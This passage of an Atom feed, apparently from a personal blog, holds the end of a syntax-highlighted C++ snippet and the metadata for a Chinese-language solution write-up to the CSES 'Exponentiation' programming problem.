punctuation">,</span>b<span class="token punctuation">,</span>M<span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-05-31T13:30:11.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>
<li>Memory limit: 512 MB</li>
</ul>
<p>Your task is to ef]]>
    </summary>
    <title>CSES Exponentiation 題解</title>
    <updated>2026-05-31T13:30:11.000Z</updated>
  </entry>
</feed>
